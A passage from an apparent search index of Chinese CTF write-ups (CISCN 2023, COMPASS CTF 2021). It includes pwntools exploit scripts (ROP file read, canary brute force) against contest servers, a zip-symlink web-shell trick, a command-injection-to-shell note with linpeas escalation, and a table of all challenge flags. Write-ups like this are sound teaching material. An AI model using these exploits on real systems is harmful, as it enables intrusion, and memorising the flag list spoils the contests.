\u63a5\u53e3\uff0c\u8ba9\u670d\u52a1\u5668\u751f\u6210\u5bf9\u5e94\u7684\u5bc6\u94a5\uff0c\u7136\u540e\u518d\u8bbf\u95ee /api/search
\u5c31\u53ef\u4ee5\u83b7\u5f97\u670d\u52a1\u5668\u5bc6\u94a5\u660e\u6587\uff0c\u7136\u540e /api/check
\u4e00\u4e0b\u5373\u53ef\u3002
const BASE_URL = 'http://IP:PORT'\n\nasync function post(url, data) {\n return await fetch(BASE_URL + url, {\n method: 'POST',\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify(data),\n })\n}\n\nasync function main() {\n r = await post('/api/login', {\n school: '...',\n name: '...',\n phone: '...',\n });\n id = (await r.json()).data.id;\n\n const publicKey = '031e92b2d450aa111da2d4cc01a532eb277654d442896bd5e4b66cdfb83ff94dfd';\n\n r = await post('/api/allkey', { id, publicKey });\n r = await post('/api/quantum', { id });\n r = await post('/api/search', { id }); // \u67e5\u8be2\u670d\u52a1\u5668\u91cf\u5b50\u5bc6\u94a5\n data = await r.json();\n\n r = await post('/api/check', {\n id,\n quantumString: data.data.quantumStringServer,\n });\n\n r = await post('/api/search', { id });\n data = await r.json();\n console.log(data); // flag HERE\n}\n\nmain()\n
"},{"location":"Writeup/2023ciscn1/readme/#day1-sign_in_passwd","title":"day1 Sign_in_passwd","text":"base64\u6362\u8868\u7ed9\u8868
"},{"location":"Writeup/2023ciscn1/readme/#day2-badkey1","title":"day2 badkey1","text":"\u7ffb\u9605 PyCryptodome \u6e90\u7801\uff0c\u53d1\u73b0\u552f\u4e00\u53ef\u4ee5\u5229\u7528\u7684\u70b9\u662f\uff1a
if Integer(n).gcd(d) != 1:\n raise ValueError(\"RSA private exponent is not coprime to modulus\")\n
\u9700\u8981\u6784\u9020 d \u662f p \u7684\u500d\u6570\u3002
$$ \\begin{align} ed &\\equiv 1 \\pmod{\\varphi(n)} \\ ed &= k(p-1)(q-1)+1 \\ emp &= k(p-1)(q-1)+1 \\ em &\\equiv 1 \\pmod{p-1} \\end{align} $$
\u968f\u673a\u751f\u6210 p\uff0c\u6c42\u51fa\u5bf9\u5e94\u7684\u9006\u5143 m\u3002
$$ \\begin{align} emp &= k(p-1)(q-1)+1 \\ k(q-1) &= (emp-1)/(p-1) = g \\end{align} $$ \u8ba1\u7b97\u5f97\u5230 g\uff0c\u5b83\u7684\u957f\u5ea6\u5927\u4e8e 512bits\u3002\u5bf9 g \u8fdb\u884c\u56e0\u5f0f\u5206\u89e3\uff0c\u627e\u5230 g \u7684\u5c0f\u56e0\u5b50\uff0c\u679a\u4e3e\u6240\u6709\u53ef\u80fd\u7684\u56e0\u5b50\u7ec4\u5408\u5f97\u5230\u53ef\u80fd\u7684 q\uff0c\u68c0\u67e5 q \u7684\u957f\u5ea6\u4e3a 512bits \u800c\u4e14\u662f\u8d28\u6570\u3002\u6700\u540e\u8fdb\u884c RSA.construct()
\u6765\u9a8c\u8bc1\u89e3\u3002
from Crypto.Util.number import *\nfrom Crypto.PublicKey import RSA\nfrom functools import reduce\nimport itertools\nimport operator\n\ne = 65537\n\ndef valid(p, q):\n try:\n assert p > 0\n assert q > 0\n assert p != q\n assert p.bit_length() == 512\n assert q.bit_length() == 512\n assert isPrime(p)\n assert isPrime(q)\n n = p * q\n assert p % e != 1\n assert q % e != 1\n d = inverse(e, (p-1)*(q-1))\n except:\n print(\"Invalid params\")\n try:\n key = RSA.construct([n,e,d,p,q])\n print(\"This is not a bad RSA keypair.\")\n except KeyboardInterrupt:\n print(\"Hacker detected.\")\n except ValueError:\n print(\"How could this happen?\")\n exit()\n\n\ndef get_subsets_product(nums):\n subsets = itertools.chain.from_iterable(itertools.combinations(nums, r) for r in range(len(nums)+1))\n products = [reduce(operator.mul, subset, 1) for subset in subsets]\n return products\n\n\nwhile True:\n p = getPrime(512)\n m = inverse(e, p-1)\n g = (e*m*p-1)//(p-1)\n print(g)\n\n f = []\n for i in range(2, 100000):\n while g % i == 0:\n f.append(i)\n g //= i\n print(f)\n print(g.bit_length(), g)\n\n if g.bit_length() <= 512:\n products = set(get_subsets_product(f))\n print(products)\n for product in products:\n q = g*product+1\n if q.bit_length() == 512 and isPrime(q):\n print(\"m =\", m)\n print(\"p =\", p)\n print(\"q =\", q)\n valid(p, q)\n\n\"\"\"\nm = 739662064870849344381206806184175992877839090213520670251993876722483241877948397023123405984485744758150988206982230375604910547042328474782788374141431\np = 9076059304519912653568835509622232174730376419270455751040052929930983752659633794365182298821427121178607248477999331983901708017508534216783299321495407\nq = 7450850406615563092946687743143612364776351130544651731679207300762585954957747324885404035967605633909459162945126718740550111054643879688263080491255299\n\"\"\"\n\n
"},{"location":"Writeup/2023ciscn1/readme/#day2-bb84","title":"day2 bb84","text":"\u9605\u8bfb\u6750\u6599\u7684\u5927\u610f\u662f\uff1a
EPC1 4 2 1 2\nAPD1 0 0 0 0\nAPD2 0 0 0 1\nAPD3 0 0 0 0\nAPD4 0 0 0 0\n
APD1 \u5230 4 \u4e2d\u6709\u4e14\u53ea\u6709\u4e00\u4e2a\u4e3a 1\uff0c\u5e76\u4e14\u548c EPC1 \u76f8\u7b49\uff0c\u5219\u8fd9\u4f4d\u53ef\u4ee5\u91c7\u7528\u4e3a\u5bc6\u94a5\u3002 \u6216\u8005 APD1 \u5230 4 \u4e2d\u6709\u4e14\u53ea\u6709\u4e00\u4e2a\u4e3a 1\uff0c\u548c EPC1 \u4e0d\u76f8\u7b49\uff0c\u4f46\u662f\u5728\u540c\u4e00\u4e2a\u57fa\uff08\u5982APD1=1\uff0cEPC1=2\uff09\uff0c\u90a3\u4e48\u8fd9\u4f4d\u9700\u8981\u7ea0\u9519\uff0c\u7ea0\u9519\u4e4b\u540e\u53ef\u4ee5\u91c7\u7528\u3002 \u5c06\u6574\u4e2a\u5e8f\u5217\u7b5b\u9009\u4e4b\u540e\u5f97\u5230\u53ef\u7528\u7684\u5e8f\u5217\uff0c\u7136\u540e\u6839\u636e\u7ebf\u6027\u540c\u4f59\u751f\u6210\u771f\u6b63\u7684\u5bc6\u94a5\u3002
\u53e6\u5916\u6750\u6599\u4e2d\u63d0\u5230\u4e86\u7528\u71b5\u8ba1\u7b97\u5b89\u5168\u5bc6\u94a5\u91cf\uff0c\u7136\u540e\u628a\u5b83\u4f5c\u4e3a\u6a21\u6570\u3002\u8fd9\u662f\u4e00\u4e2a\u8bef\u5bfc\uff0c\u6211\u5728\u8fd9\u91cc\u5361\u4e86\u5f88\u4e45\u3002\u56e0\u4e3a\u91c7\u7528\u7684\u968f\u673a\u6570\u5e8f\u5217\u7684\u957f\u5ea6\u663e\u8457\u591a\u4e8e\u8ba1\u7b97\u51fa\u7684\u5b89\u5168\u5bc6\u94a5\u91cf\uff0c\u4e0d\u77e5\u9053\u5982\u4f55\u9009\u51fa\u76f8\u5e94\u7684\u5b89\u5168\u5bc6\u94a5\u3002\u5b9e\u9645\u4e0a\u9898\u76ee\u7684\u505a\u6cd5\u662f\u76f4\u63a5\u628a\u968f\u673a\u6570\u5e8f\u5217\u7684\u957f\u5ea6\u5f53\u4f5c\u5b89\u5168\u5bc6\u94a5\u91cf\uff0c\u4e0d\u9700\u8981\u8ba1\u7b97\u71b5\u3002
\u4e4b\u540e\u5c31\u662f\u7ecf\u5178\u7684\u751f\u6210\u6d41\u5bc6\u7801\uff0c\u9010\u4e2a\u5f02\u6216\u3002
import csv\n\nwith open('info.csv', 'r') as file:\n reader = csv.reader(file, delimiter=',')\n data = list(reader)\n\nkey = []\nerror = 0\n\nfor i in range(1, len(data[0])):\n pos = []\n for j in range(1, 5):\n if data[j][i] == '1':\n pos.append(j)\n if len(pos) == 1:\n ex = int(data[0][i])\n if pos[0] == ex:\n key.append((pos[0]+1)%2)\n elif (pos[0]-1)//2==(ex-1)//2:\n #key.append(f'x{(ex+1)%2}')\n key.append((ex+1)%2)\n error += 1\n\nM = len(key)\n\nl = len(c)//2*8\nA = 1709\nB = 2003\nx = 17\ngen_key = []\nfor i in range(l):\n s = ''\n for j in range(8):\n if type(key[x])==int:\n s += str(key[x])\n else:\n s += key[x][1:]\n x = (A*x+B)%M\n gen_key.append(int(s, 2))\n\nhex_values = [int(c[i:i+2], 16) for i in range(0, len(c), 2)]\nfor i in range(len(hex_values)):\n print(chr(hex_values[i]^gen_key[i]), end='')\n
"},{"location":"Writeup/2023ciscn1/readme/#pwn","title":"PWN","text":""},{"location":"Writeup/2023ciscn1/readme/#day1","title":"day1 \u70e7\u70e4\u644a\u513f","text":"\u9759\u6001\u7f16\u8bd1\u6808\u6ea2\u51fa \u6ca1system\u6ca1exec \u6807\u51c6ORW
from pwn import *\n\np = remote(\"123.56.99.60\", 26637)\ne = ELF('shaokao')\n\np.sendlineafter(b'>', b'1\\n1\\n-9999')\np.sendlineafter(b'>', b'4')\np.sendlineafter(b'>', b'5')\ncontext.arch = 'amd64'\nr = ROP(e)\nflag_str = b'/flag\\x00'\nr.call(e.symbols['read'], [0, e.bss() + 100, len(flag_str)])\nr.call(e.symbols['open'], [e.bss() + 100, 0, 0])\nr.call(e.symbols['read'], [3, e.bss() + 100, 100])\nr.call(e.symbols['write'], [1, e.bss() + 100, 0x101])\nr.call(e.symbols['write'], [1, e.bss() + 100, len(flag_str)*9])\np.sendline(b'a' * (0x20 + 8) + r.chain())\np.sendline(flag_str)\n#gdb.attach(p)\np.interactive()\n
"},{"location":"Writeup/2023ciscn1/readme/#day2-funcanary","title":"day2 funcanary","text":"
\u62a2\u4e00\u8840\u6ca1\u5199\u5faa\u73af\u76f4\u63a5\u5c55\u5f00\u4e86 fork\u7206\u7834canry \u677f\u5b50 \u7136\u540e\u6709ASLR \u6709win \u77ed\u8df3\u7206\u78344bit\u5373\u53ef
import struct\n\nfrom pwn import *\n\ncn = remote(\"39.106.48.123\", 27305)\n\ncn.recvuntil(b'welcome\\n')\n\ncanary = b'\\x00'\nfor j in range(7):\n for i in range(0x100):\n cn.send(b'a' * 104 + canary + struct.pack('B', i))\n a = cn.recvuntil(b'welcome\\n')\n if b'have fu' in a:\n canary += struct.pack('B', i)\n print(canary)\n break\n\nx = 8\ncn.send(b'a' * 104 + canary + b'a' * x + b'\\x31\\x02')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x12')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x22')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x32')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x42')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x52')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x62')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x72')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x82')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\x92')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\xa2')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\xb2')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\xc2')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\xd2')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\xe2')\ncn.sendafter(b'welcome', b'a' * 104 + canary + b'a' * x + b'\\x31\\xf2')\ncn.recvuntil(b'welcome')\n
"},{"location":"Writeup/2023ciscn1/readme/#re","title":"RE","text":""},{"location":"Writeup/2023ciscn1/readme/#day1-moveaside","title":"day1 moveAside","text":"\u4e00\u5e74\u524d\u505a\u8fc7\u7684\u9898\uff0c\u5f53\u65f6\u6211\u5199\u7684\u7684\u8d85\u7ea7\u8be6\u7ec6\u9898\u89e3\uff1a https://github.com/GhostFrankWu/CS315-ComputerSecurity/blob/main/week5/wp.md \u7b2c\u4e00\u5929\u7ed3\u675f\u540e\u53d1\u73b0GitHub\u7edf\u8ba1\u8bbf\u5ba250\u591a
\u6838\u5fc3\u5c31\u662f\u53bb\u6df7\u6dc6\u4e4b\u540e\u627e\u5230\u7528\u4f5cjmp\u7684mov\u6307\u4ee4\uff0c\u8fd8\u6709\u5c31\u662f\u8981\u77e5\u9053mov\u6df7\u6dc6\u4f3c\u4e4e\u4e00\u5b9a\u6709\u9010\u5b57\u8282\u6bd4\u8f83\u7684\u5730\u65b9\uff0c\u65ad\u5728\u8fd9\u91cc\u7206\u7834\u5c31\u884c\u4e86
from pwn import *\n\n# flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx3861}\nflag = list('flag{781dda4e-d910-*********************}')\nstri = \"0123456789abcdef-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}\"\n\nsp = b\"LEGEND: \"\ncontext.log_level = 'critical'\n\n\n\nfor i in range(19, 43):\n for j in range(len(stri)):\n p = process([\"gdb\", \"fuck\"])\n p.sendline(b\"b *0x8052A92\")\n p.sendline(b\"r\")\n tr = [x for x in flag]\n tr[i] = stri[j]\n p.sendline(''.join(tr).encode())\n _ = p.recvuntil(sp)\n print(f'No.{i + 1}, trying {stri[j]}, now flag is {\"\".join(flag)}')\n for c in range(i-1):\n p.sendline(b'c')\n _ = p.recvuntil(sp)\n p.sendline(b'c')\n r = p.recvall(0.3)\n if sp in r:\n print(\"hit!!!!\")\n flag[i] = stri[j]\n print(''.join(flag))\n p.close()\n break\n else:\n p.close()\n\n\nprint(''.join(flag))\n
\u70ab\u9177\u7684\u754c\u9762\uff08\u96fe
"},{"location":"Writeup/2023ciscn1/readme/#day2-babyre","title":"day2 babyRE","text":"\u649e\u8f66\u961f\u53cb\uff1a
\u7f51\u4e0a\u968f\u4fbf\u770b\u4e86\u70b9Snap!\u7684\u8d44\u6599\uff0c\u5b9a\u4f4d\u5230flag\u5224\u65ad\u903b\u8f91\uff0c\u6839\u636esecret
\u7b80\u5355\u505a\u4e00\u6ce2\u5f02\u6216\u8fd0\u7b97\u8fd8\u539f\u8f93\u5165key
\u5373flag
secret = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]\n\nkey = 'f'\n\nfor i in secret[1:]:\n next_char = chr(ord(key[-1]) ^ i)\n key += next_char\n\nprint(key)\n\n
d = [(92, 1), (92, -1), (8, -1), (28, -1), (20, 1), (25, -1), (75, 1), (81, -1), (83, -1), (0, 1), (7, -1), (28, -1),\n (85, 1), (76, -1), (88, -1), (4, 3), (9, -1), (7, 1), (0, -1), (29, -1), (73, -1), (1, 1), (0, -1), (3, 2),\n (86, -1), (4, -1), (74, 1), (87, -1), (3, 2), (87, -1), (82, -1), (28, 1), (84, -1), (85, -1), (6, 1), (4, -1),\n (85, -1), (13, 1), (87, -1), (10, 1), (102, 1), (30, -1)]\n\nl = []\nfor i in d:\n print(l)\n if i[1] != -1:\n l.insert(i[1] - 1, i[0])\n else:\n l.insert(len(l), i[0])\n\nc = 0\nfor i in l:\n c ^= i\n print(chr(c), end=\"\")\n
"},{"location":"Writeup/2023ciscn1/readme/#web","title":"web","text":""},{"location":"Writeup/2023ciscn1/readme/#day1-unzip","title":"day1 unzip","text":"\u4ee3\u7801\u957f\u5f97\u548c\u4e0a\u5468\u6625\u79cb\u676f\u7684\u9898\u5b8c\u5168\u4e00\u81f4 \u9898\u76ee\u6ca1\u7ed9Dockerfile\uff0c\u5927\u6982\u4e0d\u662f\u5386\u53f2\u6f0f\u6d1e\uff0c03\u5e74\u4e4b\u540e\u7684zip\u5c31\u4e0d\u80fd\u76ee\u5f55\u7a7f\u8d8a\u4e86
\u521b\u5efa\u4e00\u4e2a\u6307\u5411\u6587\u4ef6\u5939\u7684\u8f6f\u94fe ln -s /var/www/html www && zip -y x.zip www \u7136\u540e\u538b\u7f29\u4e00\u4e2a\u5e26\u4e00\u53e5\u8bdd\u7684www\u6587\u4ef6\u5939\u89e3\u538b\u5c31\u53ef\u4ee5\u4e86
"},{"location":"Writeup/2023ciscn1/readme/#day2-dumpit","title":"day2 dumpit","text":"dump\u548c\u6ce8\u5165\u5206\u5f00 query\u5c4f\u853d\u7684\u5e76\u4e0d\u591a\uff0c\u4f46\u63d0\u793a\u8981\u505a\u5230rce dump\u51e0\u4e4e\u90fd\u662f\u7528\u547d\u4ee4\u884c\u5de5\u5177\u505a\uff0c\u679c\u7136\u5728dump\u7684\u5730\u65b9\u53ef\u4ee5\u547d\u4ee4\u62fc\u63a5 \u7136\u540e\u53d1\u73b0\u6ca1\u6743\u9650\u8bfbflag \u5f39shell
\u8dd1linpeas\u63d0\u6743\u65f6\u5019\u5728\u73af\u5883\u53d8\u91cf\u91cc\u51fa\u4e86
"},{"location":"Writeup/2023ciscn1/readme/#misc","title":"MISC","text":""},{"location":"Writeup/2023ciscn1/readme/#day1_1","title":"day1 \u7b7e\u5230","text":"python\u4efb\u610f\u4ee3\u7801 \u7b7e\u5230
"},{"location":"Writeup/2023ciscn1/readme/#day1_2","title":"day1 \u88ab\u52a0\u5bc6\u7684\u751f\u4ea7\u6d41\u91cf","text":"\u53d1\u73b0 query \u4e2d\u7684 word count \u4e0d\u7b26\u5408\u5b9a\u4e49\u3002\u4e4b\u524d\u8bf7\u6c42\u4e86\u975e\u5e38\u5927\u7684\u6570\u5b57\uff0c\u540e\u671f\u5168\u90e8\u8bf7\u6c42 5\u3002 \u8ffd\u8e2a TCP \u6d41\u53d1\u73b0\uff0cword count \u521a\u597d\u5f62\u6210\u4e86 ascii \u5b57\u7b26\u3002\u5c06\u5176\u63d0\u53d6\u5e76\u89e3\u7801\u3002 MMYWMX3GNEYWOXZRGAYDA===
base32 \u89e3\u7801\u5f97\u5230 c1f_fi1g_1000
\u3002
\u867d\u7136\u670d\u52a1\u5668\u7981\u6b62\u4e86\u8d4b\u503c\u64cd\u4f5c\uff0c\u5e76\u4e14\u6bcf\u884c\u7684\u957f\u5ea6\u4e5f\u6709\u9650\u5236 \u5bf9\u4e8e\u7b2c\u4e00\u4e2a\u9650\u5236\uff0c\u53ef\u4ee5\u7528 REPL \u4e2d\u7684 _ \u6765\u83b7\u53d6\u4e0a\u4e00\u6761\u8bed\u53e5\u7684\u503c \u5bf9\u4e8e\u7b2c\u4e8c\u4e2a\u9650\u5236\uff0c\u53ef\u4ee5\u5206\u591a\u884c\u8f93\u5165\uff08\u6b64\u65f6\u6bcf\u8f93\u5165\u4e00\u884c\u90fd\u9700\u8981\u91cd\u65b0 nc \u8fde\u63a5\uff09 \u6240\u4ee5\u6700\u7ec8 payload \u4e3a
'/flag'\nopen(_)\n[I for\nI in \n_]\n
"},{"location":"Writeup/2023ciscn1/readme/#day2","title":"day2 \u95ee\u5377","text":"\u95ee\u5377
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/","title":"COMPASS CTF 2021 \u62db\u65b0\u8d5b","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#_1","title":"\u9898\u76ee\u5185\u5bb9","text":"\u5206\u7c7b \u540d\u79f0 \u96be\u5ea6 \u63cf\u8ff0 \u6587\u4ef6 flag MISC SanityCheck \u7b7e\u5230 \u6b22\u8fce\u6765\u5230COMPASS CTF! \u5149\u789f\u3001\u55b5\u54aa\u548cls\u53ef\u4ee5\u5e2e\u4f60\u62ff\u5230flag\u3002 sign.html flag{we1c0m3_tO_C0MP4SS_CTF_2021!GLHF} MISC ezPWD \u7b80\u5355 \u4f60\u7684\u4e00\u4f4d\u6765\u81ea\u9655\u897f\u897f\u5b89\u4e34\u6f7c\u533a\u768490\u540e\u5b66\u59d0\u53d1\u7ed9\u4f60\u4e00\u4efd\u795e\u79d8\u538b\u7f29\u5305\uff0c\u4f60\u80fd\u6253\u5f00\u5417 flag.zip flag{Brut3_f0rc3_1s_just_345y} Web Hacked \u7b7e\u5230 \u5927\u9ed1\u5ba2\u9ed1\u6389\u4e86COMPASS\u7684\u7f51\u7ad9\u5e76\u7559\u4e0b\u4e86flag\uff0c\u4f46\u662f\u9700\u8981\u6b63\u786e\u8f93\u5165\u53e3\u4ee4\u624d\u80fd\u770b\u5230\u3002 Hacked.html flag{Ev3ry_0ne_1ove5_baNaNa_exCept_fu*k1n9_js} Web trickyPHP \u4e00\u822c \u653b\u514b\u96be\u5173\uff0c\u5165\u95e8web\uff0c\u8d62\u53d6flag trickyPHP.php flag{y0u_b34t_pHp_and_WOn_uR_reward!} web Life Restart \u4e00\u822c \u8fd9\u5783\u573e\u4eba\u751f\u4e00\u79d2\u4e5f\u4e0d\u60f3\u5446\u4e86\uff0cremake\uff01(500\u5c81\u65f6\u6e21\u52ab\u6210\u529f\u8d62\u53d6flag) http://81.68.223.245:8080/view/ flag{My_fate_1s_up_to_M3_in_Cyber_W0rld} Web BBS \u4e2d\u7b49 COMPASS\u5f00\u901a\u4e86bbs demo\uff0c\u73b0\u5728\u5f00\u653e\u6ce8\u518c~\u7ba1\u7406\u5458\u5728flag.php\u4e2d\u5199\u5165\u4e86\u5b9d\u8d35\u7684flag\uff0c\u4ee5\u6b64\u8bc1\u660eBBS\u7684\u5b89\u5168\u6027 COMPASS_BBS flag{U_mast3red_inj3ctiOn_Unser1alize_and_SSrF!} Crypto at_bash \u7b7e\u5230 COMPASS\u622a\u83b7\u4e86\u4e00\u6bb5\u542b\u6709flag\u7684\u6587\u672c\uff0c\u4f46\u662f\u6587\u672c\u4e2d\u770b\u8d77\u6765\u5e76\u6ca1\u6709flag\u5b57\u6837 at_bash.txt flag{wOW_y0U_Real1y_ma5ter3d_enc0d1ng!} Crypto variable \u7b80\u5355 \u636e\u8bf4\u521d\u4e2d\u751f\u66f4\u52a0\u64c5\u957fcrypto\u7684\u7834\u89e3\uff0c\u4e3a\u4e86\u593a\u56de\u672c\u79d1\u751f\u7684\u5c0a\u4e25\uff0c\u4f60\u5411\u521d\u4e2d\u5c0fA\u53d1\u8d77\u4e86\u6311\u6218 enc.py enc.txt flag{Now_u_H4v3_the_abil1Ty_to_Crypt0!} Crypto CBC \u8f83\u96be \u65b0\u6982\u5ff5\u7684Python\u6c99\u76d2\uff0c\u8ba9Python\u518d\u6b21\u4f1f\u5927\uff01 CBC.py flag{w0W_s3Ems_u_really_g00D_4t_crypt0!} Re bogo \u7b7e\u5230 \u7334\u5b50\u5728\u65e0\u9650\u7684\u65f6\u95f4\u5185\u53ef\u4ee5\u5199\u51fa\u838e\u58eb\u6bd4\u4e9a\uff0c\u8fd9\u4e5f\u662f\u4e00\u9053\u80fd\u81ea\u5df1\u5199\u51faflag\u7684\u9006\u5411\u9898\uff01 bogo.elf flag{we1c0m3_tO_rEv3re_w0r1d!} Re Extremely slow \u4e00\u822c COMPASS\u5b9e\u9a8c\u5ba4\u622a\u83b7\u4e86\u4e00\u4e2a\u53ef\u4ee5\u5feb\u901f\u5206\u89e3\u6df7\u6c8c\u4e3aflag\u7684\u5f3a\u5927\u539f\u578b\u673a\uff0c\u4f46\u662f\u5b83\u5341\u5206\u4e0d\u7a33\u5b9a\uff0c\u53ea\u80fd\u8fd0\u884c\u5f88\u77ed\u7684\u65f6\u95f4... Extremely_slow.exe flag{p47ch_PrO6r4m_1s_n0t_A_h4rd_7hin9} Re Random \u8f83\u96be \u4e0a\u5e1d\u4e0d\u4f1a\u63b7\u9ab0\u5b50\uff0c\u4ece\u6765\u6ca1\u6709\u771f\u6b63\u7684\u968f\u673a Random.exe flag{Exc3l13nt_y0u_gOt_7h3_r4nd0m_k3y!284} Re java_re \u538b\u8f74 Jar\u662f\u4e2a\u7cdf\u7cd5\u7684Zip\u6587\u4ef6\uff0c\u4f46\u5b83\u80fd\u6709\u4ec0\u4e48\u574f\u5fc3\u773c\u5462\uff1f(hint \u4ee3\u7801\u5f88\u4e71\uff1f\u5176\u5b9e\u903b\u8f91\u5e76\u4e0d\u590d\u6742\u3002IDEA\u81ea\u5e26\u7684\u9006\u5411\u5f88\u5f3a\u5927) EzJar.jar flag{Ctf3r_me_1s_A_very_g0Od_9Uy} PWN dove1 \u7b7e\u5230 \u6bcf\u6b21\u6821\u961f\u8bad\u7ec3\u603b\u6709\u9e3d\u5b50\u51fa\u73b0\uff0cCOMPASS\u53d1\u51fa\u60ac\u8d4f\uff1a\u5e26\u56de\u9e3d\u5b50\u4e00\u6b21\u5c31\u53ef\u4ee5\u83b7\u5f97flag\uff01\u4f60\u51b3\u5b9a\u53bb\u529d\u8bf4\u9e3d\u5b50\u8d70\u4e0a\u6b63\u8f68\u9053\uff08hint1 \u529d\u8bf4\u53ea\u6709\u7b2c10\u79cd\u529e\u6cd5\u662f\u6709\u6548\u7684\uff09\uff08hint2 \u53cd\u7f16\u8bd1\u4f2a\u4ee3\u7801\u4e0d\u6b63\u5e38\u53ef\u4ee5\u770b\u770b\u53cd\u6c47\u7f16\u754c\u9762\uff0c\u6ce8\u610f\u53d8\u91cf\u7684\u7c7b\u578b\uff09\uff08hint3 rand\u7684\u79cd\u5b50\u7cbe\u5ea6\u4e0d\u591f\u4e0d\u96be\u9884\u6d4b\uff09 dove flag{5ome_0ne_1s_dove_I_dont_say_whO_1s} PWN dove2 \u7b80\u5355 \u591a\u6b21\u6210\u529f\u529d\u8bf4\u9e3d\u5b50\u540e\u5b83\u4ecd\u7136\u4e00\u610f\u5b64\u884c\uff0c\u4f60\u51b3\u5b9a\u6765\u70b9\u786c\u7684 dove flag{U_rea11y_g0Od_At_bringing_d0ve_back} PWN wish \u8f83\u96be \u4e00\u53e3\u8bb8\u613f\u4e95\uff0c\u4f60\u53ef\u4ee5\u5bf9\u5b83\u503e\u8bc9\u4efb\u4f55\u4e8b\u60c5\uff0c\u4f46\u662f\u5b83\u4f3c\u4e4e\u5f88\u5c11\u5bf9\u613f\u671b\u4f5c\u51fa\u56de\u5e94 wish flag{PWN_1s_s0_tricky_go0Od_job} PWN Double Frank \u9632AK \u6b22\u8fce\u6765\u5230Frank\u9910\u9986\uff0c\u8bf7\u95ee\u4f60\u4eca\u5929\u8981\u6765\u70b9\u4ec0\u4e48\u6837\u7684Frank\u5462\uff1f Frank flag{YOU_beat_frank_n0w_frankss_1s_a11_yOurs!}"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#_2","title":"\u9898\u89e3","text":"\u65b0\u624b\u53cb\u597d\uff0c\u9898\u76ee\u6709\u8da3 \u6bd4\u8d5b\u5185\u5bb9\u5305\u542b\u7f51\u7edc\u653b\u51fb\uff0c\u52a0\u5bc6\u89e3\u5bc6\uff0c\u7a0b\u5e8f\u9006\u5411\u7834\u89e3\uff0c\u4e8c\u8fdb\u5236\u6f0f\u6d1e\u5229\u7528\u7b49\u3002
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#misc","title":"MISC","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#sanitycheck","title":"SanityCheck","text":"\u7b7e\u5230\uff0c\u9996\u5148
cd home
\u7136\u540e
cat flag.txt
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#ezpwd","title":"ezPWD","text":"\u9655\u897f\u897f\u5b89\u4e34\u6f7c\u533a \u5206\u522b\u5bf9\u5e9461 01 15 \u5e74\u4efd1990-1999 \u67081-12 \u65e51-31 \u7f16\u53f70-999 \u6821\u9a8c\u7801\u56fa\u5b9a \u6839\u636e\u6761\u4ef6\u751f\u6210\u5b57\u5178\u590d\u6742\u5ea6\u5f88\u4f4e\uff0c\u7206\u7834\u5373\u53ef\u5f97\u5230\u538b\u7f29\u5305\u5bc6\u7801 610115199309102764 \u4ee5\u4e0b\u662f\u5404\u79cd\u5bc6\u7801\u6062\u590d\u8f6f\u4ef6\u7684\u622a\u56fe\uff1a - john kali\u81ea\u5e26 \u514d\u8d39 \u9ad8\u6548 \u5f3a\u5927 \u4ec5\u75286\u79d2 - archpr \u9002\u7528\u4e8ewindows\uff0c\u652f\u6301\u5404\u79cd\u5bc6\u7801\u6062\u590d\u65b9\u5f0f\uff08\u660e\u6587\uff0c\u66b4\u529b\uff0c\u5b57\u5178\uff0c\u63a9\u7801...\uff09\u7528\u65f69\u5206\u949f \u9700\u8981\u6ce8\u518c - passware for forensic \u6781\u5176\u5f3a\u5927\u7684\u5185\u5b58\u5bc6\u7801\u5206\u6790\u653b\u51fb\uff0c\u4e5f\u652f\u6301\u5b57\u5178\uff0c\u7528\u65f64\u5206\u949f\uff0c\u9700\u8981\u6ce8\u518c
flag{Brut3_f0rc3_1s_just_345y}
"},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#web","title":"Web","text":""},{"location":"Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/#hacked","title":"Hacked","text":"\u9898\u76ee\u95ee *js\u4e2d'b'+'a'+ +'a'+'a'* \u7684\u503c\u662f\uff1f \u90a3F12\u653e\u63a7\u5236\u53f0\u8fd0\u884c\u4e00\u4e0b\u5c31\u597d\u4e86\uff0c\u662f 'baNaNa'** \u4e00\u60f3\u5f88\u5947\u602a\uff0c\u4f46\u662f\u5728JS\u91cc\uff0c\u8fd9\u4e5f\u6b63\u5e38\uff08x \u7136\u540e\u5c31\u5f97\u5230\u4e86\u6ee1\u5c4f\u98de\u7684flag \u9898\u76ee\u540d\u5b57\u4e5f\u662f\u6765\u6e90\u4e8e\u6b64
